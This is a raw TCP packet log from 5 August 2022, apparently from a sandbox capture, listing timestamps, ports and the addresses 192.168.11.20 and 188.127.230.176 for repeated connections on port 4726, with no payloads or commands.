Aug 5, 2022 11:36:06.553189039 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.642528057 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.678453922 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.767301083 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.767548084 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.861388922 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.861617088 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.955061913 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.959521055 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:07.048824072 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:07.100130081 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.243889093 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.291243076 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.291462898 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.291800976 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.346719027 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.346945047 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.423798084 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.424043894 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.471766949 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.474025011 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.548612118 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.548790932 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.626945019 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.661520004 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.736290932 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.737262011 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.737961054 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.785269976 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.785953999 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.833545923 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.833715916 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.881114006 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:11.881308079 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:11.954808950 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.021008968 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.095618010 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.095851898 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.173651934 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.208272934 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.283324957 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.349809885 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.423722029 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.423914909 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.501936913 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.567739964 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.642591953 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.642882109 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.720592976 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.755105972 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.829982996 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:12.848783970 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:12.923868895 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:13.005261898 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:13.067409992 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:13.079778910 CEST	4726	49842	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:13.079986095 CEST	49842	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.096939087 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.148574114 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.148751020 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.149108887 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.207571030 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.207889080 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.259879112 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.260082960 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.345402002 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.345681906 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.423724890 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.424101114 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.501887083 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.502101898 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.549938917 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.553864002 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.554065943 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.607038975 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.607589006 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.659874916 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.660115004 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.712496042 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.712881088 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.798423052 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.800704956 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.892249107 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:17.892453909 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:17.970678091 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.003910065 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.095516920 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.128916025 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.220509052 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.253983021 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.345670938 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.345854998 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.423600912 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.472672939 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.564415932 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.564613104 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.642617941 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.660022020 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.751943111 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.800687075 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.892523050 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:18.892748117 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:18.970515966 CEST	4726	49843	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:19.019268036 CEST	49843	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.175225973 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.226578951 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.226824045 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.227143049 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.293557882 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.293791056 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.376518965 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.376785994 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.428162098 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.471272945 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.494180918 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.579824924 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.580058098 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.673428059 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.690351963 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.691061020 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.742089987 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.742300034 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.829412937 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.829618931 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.880589962 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:23.908787966 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:23.960011005 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.002445936 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.049755096 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.142376900 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.142592907 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.236100912 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.252278090 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.252444029 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.299267054 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.345144987 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.377542973 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.470249891 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.502598047 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.595407963 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.595715046 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.689091921 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.721234083 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.814044952 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.814394951 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:24.907591105 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:24.908622026 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:25.001257896 CEST	4726	49844	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:25.049280882 CEST	49844	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.100860119 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.148463964 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.148634911 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.148933887 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.204158068 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.204622030 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.282721043 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.282908916 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.330693007 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.375941038 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.393012047 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.470097065 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.470487118 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.548521996 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.580801964 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.581438065 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.629179001 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.629523039 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.704783916 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.704992056 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.752743959 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.797840118 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.813570023 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.845216990 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.891498089 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:30.892080069 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:30.954145908 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.032793045 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.033040047 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.110693932 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.172940969 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.251365900 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.251533985 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.329654932 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.360327959 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.439248085 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.500956059 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.579477072 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.579724073 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.657783031 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.719672918 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.798361063 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.844667912 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:31.923412085 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:31.923763037 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:32.000752926 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:32.017102003 CEST	4726	49846	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:32.017292023 CEST	49846	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.029431105 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.080599070 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.080864906 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.081306934 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.139096022 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.139446020 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.191534996 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.203141928 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.282643080 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.282763004 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.360868931 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.421857119 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.471595049 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.473443031 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.473691940 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.525007010 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.525197983 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.610709906 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.610893011 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.662307024 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.702699900 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.749959946 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.753473997 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.796438932 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.829379082 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.829603910 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:36.923346996 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:36.968498945 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.063915014 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.064071894 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.157689095 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.157903910 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.251352072 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.251524925 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.345374107 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.406506062 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.501425028 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.501641035 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.595252037 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.609046936 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.704760075 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.705082893 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.798414946 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.812001944 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:37.907990932 CEST	4726	49847	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:37.952806950 CEST	49847	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:41.983750105 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.031600952 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.031820059 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.032109976 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.088383913 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.088565111 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.173646927 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.173815966 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.221410990 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.221625090 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.298758984 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.298939943 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.376727104 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.405297041 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.486145020 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.487453938 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.488029957 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.535543919 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.535809994 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.611148119 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.611406088 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.659004927 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.659249067 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.706705093 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.717200041 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.798605919 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.873450994 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:42.954859972 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:42.955075979 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.032964945 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.060904980 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.142328024 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.201706886 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.283201933 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.283585072 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.361479044 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.420269012 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.501653910 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.501929998 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.580002069 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.607727051 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.689112902 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.701355934 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:43.783159971 CEST	4726	49848	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:43.857703924 CEST	49848	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:47.885987043 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:47.933618069 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:47.933801889 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:47.934118986 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:47.993581057 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:47.993838072 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.064096928 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.064467907 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.112828970 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.124053001 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.204706907 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.205034018 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.282485962 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.294344902 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.376322031 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.393274069 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.393840075 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.441014051 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.441710949 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.489085913 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.489305019 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.536771059 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.536948919 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.610761881 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.611232042 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.653239012 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.653439999 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.735786915 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.778409958 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.860699892 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:48.860833883 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:48.939074993 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:49.012743950 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.095292091 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:49.095524073 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.173629999 CEST	4726	49849	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:49.200314999 CEST	49849	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:49.283014059 CEST	4726	49849	188.127.230.176	192.168.11.20
